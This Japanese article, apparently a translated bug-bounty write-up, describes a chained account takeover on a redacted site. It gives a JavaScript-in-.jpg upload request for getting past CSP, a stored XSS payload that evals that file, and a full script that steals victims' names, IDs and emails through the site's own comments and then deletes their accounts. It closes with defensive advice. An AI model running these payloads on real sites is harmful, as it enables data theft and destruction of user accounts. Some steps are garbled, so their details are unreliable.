目に見える場所に潜む:アカウント乗っ取りとCSPの落とし穴
CSP(Content Security Policy:コンテンツセキュリティポリシー)は、XSS(クロスサイトスクリプティング)攻撃とデータインジェクション攻撃を防ぐための基本的なセキュリティ対策です。ただし、正しく実装しなければ、ループホールが悪用されて、CSPの迂回、悪意のあるペイロードの実行、システム全体への不正アクセスが発生してしまいます。この記事では、画像ファイル内に悪意のあるコードを忍び込ませた興味深いCSP迂回の興味深いシナリオを詳説しています。一見すると関係なさそうな脆弱性が、巧妙に連鎖チェイニングされて、大規模なアカウント乗っ取りに利用された実際いくつかの事例を分析します。
攻撃を計画する側にとっては、外部でペイロードをホスティングできないことが大きな問題でした。プラットフォームの厳格なCSP設定により、*.redacted.comに対するリクエストだけが許可され、他のドメインへのアウトバウンドXHRリクエストは禁止されています。これを克服するために、ペイロードを同じプラットフォーム上でホスティングされている画像に埋め込み、すべての制限を迂回したのです。攻撃者にとってはプラットフォーム内で制御できるリソースに頼る必要があるため、こうした巧妙な迂回方法によって、攻撃サーフェスを理解することの重要性を認識させられました。
こうしたエクスプロイトのもう1つ重要な点は、抽出したユーザーデータの内部転送です。内部でのチャットのようなメカニズムである「Chat」機能が、データ流出のための隠れチャネルとして利用されました。盗み出した情報をコメントとして埋め込むことで、アカウント乗っ取りプロセスをは自動化しながら外部との通信を完全に回避したのです。
ステップ1:メール認証の迂回
メール認証はユーザー登録を検証するための一般的なメカニズムです。ところが登録後にredacted.com/register/email/<<CODE>>に転送されたことに気付きました。そして同じコードが認証用のメールメッセージ内の確認用リンクに含まれており、登録プロセスを完了するためにユーザーはurl redacted.com/register/details/<<CODE>>にアクセスするよう指示されました。こうした貴重な情報があれば以下を行うことができます。
任意のメールアドレス(fakeemail@example.comなど)でアカウント登録を行います。
確認用URLのエクスプロイト:
プラットフォームが以下のURLに転送します。
https://redacted.com/club/register/email/<<CODE>>/
エンドポイントを/details/に変更すると、確認プロセスが完了します。
https://redacted.com/club/register/email/<<CODE>>/
この手順によって攻撃者は、受信メールにアクセスしなくても、任意のメールアドレスを使ってアカウントを登録できます。
ステップ2:CSPを迂回するために悪意のある画像を作成
アウトバウンドXHRリクエスト以外は*.redacted.comに送信できないため、厳格なCSPによってペイロードの外部ホスティングが防止されています。こうした制限により攻撃者は巧妙なやり方で、サイト内で他の脆弱性を探す必要性に迫られました。
CSPを迂回するために、悪意のあるJavaScriptコードを含む、拡張子が.jpgのファイルをアップロードするという手口です。サーバーはコンテンツの検証を行わずにファイルを画像として扱い、同じドメインへの保存を許可してしまいます。
ファイルアップロードによるエクスプロイト例
攻撃者は以下のHTTPリクエストを使用して偽装スクリプトをアップロードします。
POST /xxx/templates/events/api/upload.jsp HTTP/2
Host: redacted
Cookie: <Omitted>
------WebKitBoundary
Content-Disposition: form-data; name="image"; filename="exploit.jpg"
Content-Type: image/jpeg
<script>alert('CSP Bypass');</script>
------WebKitBoundary--
アップロードしたファイルは以下のようなURLでアクセスできます。
https://redacted/img/<dimensions>/library/images/events/<imageid>_feature.jpg
ステップ3:保存したStored XSSから悪意のあるコードをトリガー
各ユーザーはプラットフォーム内でイベントを作成することができます。イベント場所など、イベント内の一部のフィールドは適切にサニタイズされておらず、イベントページにアクセスしたユーザーは以下のペイロードで汚染される可能性があります。
"><script>$.get('/img/<dimensions>/library/images/events/<imageid>_feature.jpg', eval)</script>
このペイロードはjQueryを使って偽装画像スクリプトをフェッチおよび実行し、イベントの表示やインタラクションを行うユーザーに対してペイロードをトリガーします。この脆弱性による影響はプラットフォーム内の別な機能によって大幅に拡大されます。この機能は攻撃者によるイベント強調を可能にするもので、これによってメインページを訪れるユーザーが確実に目にすることになります。
ステップ4:アカウントの自動削除
このエクスプロイト重要な最大の機能は、エクスプロイトのプロセス期間中にアカウント削除をトリガーできるリクエストをの識別することです。分析では、削除後もアカウントデータの一部が残っていることが判明しました。既存の認証迂回機能を利用してこの脆弱性を組み合わせてアカウントを削除した後、元のユーザーデータへのアクセス権で再登録することで、システムのエクスプロイトを拡大することができます。
ステップ5:内部機能を使用したデータ流出
こうしたエクスプロイトの重要な点は、被害者データの転送です。CSPはアウトバウンド通信を禁止しているため、攻撃者はプラットフォーム内の別のな機能(基本的には内部コメントシステム)を使用してデータを埋め込み抽出しました。このアプローチによってデータがドメイン内に残るのでCSP違反を回避できます。
ステップ6:完全なアカウント乗っ取りのためのエクスプロイトコード
悪意のある画像内のホスティングされたスクリプトによって以下の手順が自動化されます。
```
function submitRequest() {
// Step 1: Fetch the main page to extract `userid`, `username`, and `email`
fetch('https://redacted.com/xxx/', { method: 'GET', credentials: 'include' })
.then(response => response.text())
.then(html => {
var doc = new DOMParser().parseFromString(html, 'text/html');
var userId = doc.querySelector('input[name="userid"]').value;
var username = doc.querySelector('h3.username').textContent.trim().toLowerCase();
return fetch(`https://redacted.com/xxx/e/${username}/settings/`, { method: 'GET', credentials: 'include' })
.then(response => response.text())
.then(settingsHtml => {
var settingsDoc = new DOMParser().parseFromString(settingsHtml, 'text/html');
var email = settingsDoc.querySelector('input[name="email"]').value;
// Step 2: Make an XHR request to `/xxx/api/upload-ids.jsp` to get `requestToken`
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://redacted.com/xxx/api/new-upload-ids.jsp", true);
xhr.setRequestHeader("accept", "application/json, text/javascript, */*; q=0.01");
xhr.setRequestHeader("content-type", "application/x-www-form-urlencoded; charset=UTF-8");
xhr.setRequestHeader("accept-language", "en-US,en;q=0.9");
xhr.withCredentials = true;
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Parse the response to extract `requestToken`
var responseJson = JSON.parse(xhr.responseText);
var requestToken = responseJson.requestToken;
var galleryId = responseJson.galleryid;
// Step 3: send the data to the attackers chat `/xxx/api/comment.jsp`
var finalXhr = new XMLHttpRequest();
finalXhr.open("POST", "https://redacted.com/xxx/api/comment-post.jsp", true);
finalXhr.setRequestHeader("accept", "application/json, text/javascript, */*; q=0.01");
finalXhr.setRequestHeader("content-type", "application/x-www-form-urlencoded; charset=UTF-8");
finalXhr.setRequestHeader("accept-language", "en-US,en;q=0.9");
finalXhr.withCredentials = true;
// Encode Username, UserId, and Email in Base64
var base64Comment = btoa(`username=${username}&userid=${userId}&email=${email}`);
var finalBody = `request-token=${encodeURIComponent(requestToken)}&galleryid=<<Gallery_ID_Of_Attacker>>&userid=<<Userid_Of_Attacker>>&vehicleid=<<Vehicle_ID_Of_Attacker>>&comment=${encodeURIComponent(base64Comment)}`;
finalXhr.onreadystatechange = function () {
if (finalXhr.readyState === XMLHttpRequest.DONE && finalXhr.status === 200) {
// Step 4: Make the final request to cancel membership after attacker received the data.
var cancelXhr = new XMLHttpRequest();
cancelXhr.open("POST", "https://redacted.com/xxx/api/membercancel.jsp", true);
cancelXhr.setRequestHeader("accept", "application/json, text/javascript, */*; q=0.01");
cancelXhr.setRequestHeader("content-type", "application/x-www-form-urlencoded; charset=UTF-8");
cancelXhr.setRequestHeader("accept-language", "en-US,en;q=0.9");
cancelXhr.withCredentials = true;
var cancelBody = `id=${encodeURIComponent(userId)}`;
cancelXhr.send(cancelBody);
}
};
finalXhr.send(finalBody);
}
};
// Send the XHR request for `requestToken`
var uploadBody = "action=%2Fxxx%2Fapi%2Fcomment.jsp";
xhr.send(uploadBody);
});
});
}
submitRequest();
完全なエクスプロイトチェーンの概要
攻撃者は保存済みのStored XSS(格納型XSS/蓄積型XSS)とCSP迂回機能を使って以下を実行します。
大規模なアカウント乗っ取り:機密データを抽出し、被害者のアカウントを削除後、被害者の詳細情報を利用して再度登録する。
コンテンツセキュリティポリシーの迂回:画像ファイル(.jpg)内に悪意のあるスクリプトを埋め込み、CSPの制限を回避する。
保存してあるStored XSSインジェクションの自動化:イベント作成フィールドにペイロードを挿入し、被害者がイベントとのインタラクションを行った際に悪意のあるコードをトリガーさせる。
データ抽出:コメントなどのプラットフォーム機能を使用して、窃取したデータを密かに流出させる。
要点
ファイルアップロードの検証:厳格なサーバーサイド検証を行い、有効な画像フォーマットだけを受け入れるようにする。
ユーザー入力のサニタイズ:ユーザーから提供されたすべてのコンテンツを暗号化および検証することで、保存されたStored XSSを阻止する。
内部機能の監視:チャットシステムなどの内部通信メカニズムはデータ流用に悪用されることがある。
電子メール認証の強化:予想されやすい、または簡単に迂回できるような認証メカニズムは避ける。
ユーザー情報の保護:ユーザー情報に関するデータ保護規制を順守する。
結論
この種のエクスプロイトでは、同じドメインでホスティングされている画像ファイル内にコードを埋め込むことで、CSPによる規制を巧妙に迂回できることする方法が明らかになりました。厳格なconnect-srcポリシーによって外部ペイロードの使用が禁止されているため、攻撃者は巧妙にペイロードを「目に見える場所に」隠す方法を編み出しました。
またチャットシステムなどの内部プラットフォーム機能を悪用することで、CSP内でのデータ転送を秘密裏に行えるようになったのです。これにより内部機能のセキュリティや入力内容の厳密な確認の重要性が明らかになりました。
保存されたStored XSSにCSPの設定ミスや不十分な検証といった要因が加わると、攻撃者はアカウント乗っ取りの自動化、重要なデータの削除、プラットフォーム機能の悪用が可能になります。組織や企業は厳格な入力確認、堅牢なCSPポリシーの導入、エンドポイント監視による異常察知の仕組みを確立する必要があります。